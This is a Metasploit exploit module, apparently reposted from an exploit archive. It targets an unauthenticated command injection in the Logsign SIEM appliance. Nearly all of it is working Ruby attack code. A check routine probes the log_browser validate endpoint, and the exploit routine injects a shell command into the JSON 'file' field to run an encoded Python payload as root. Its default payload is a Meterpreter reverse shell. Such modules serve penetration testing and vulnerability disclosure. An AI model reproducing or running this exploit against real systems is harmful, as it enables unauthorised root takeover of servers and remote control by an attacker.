Logsign Remote Command Injection
Posted on 24 March 2017
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Logsign Remote Command Injection', 'Description' => %q{ This module exploits an command injection vulnerability in Logsign. By exploiting this vulnerability, unauthenticated users can execute arbitrary code under the root user. Logsign has a publicly accessible endpoint. That endpoint takes a user input and then use it during operating system command execution without proper validation. This module was tested against 4.4.2 and 4.4.137 versions. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module ], 'References' => [ ['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/'] ], 'Privileged' => true, 'Platform' => ['python'], 'Arch' => ARCH_PYTHON, 'DefaultOptions' => { 'payload' => 'python/meterpreter/reverse_tcp' }, 'Targets' => [ ['Automatic', {}] ], 'DisclosureDate' => 'Feb 26 2017', 'DefaultTarget' => 0 )) end def check p_hash = {:file => "#{rand_text_alpha(15 + rand(4))}.raw"} res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'), 'ctype' => 'application/json', 'data' => JSON.generate(p_hash) ) if res && res.body.include?('{"message": "success", "success": true}') Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def exploit print_status("Delivering payload...") p_hash = {:file => "logsign.raw" quit 2>&1 |python -c "#{payload.encoded}" #"} send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'), 'ctype' => 'application/json', 'data' => JSON.generate(p_hash) ) end end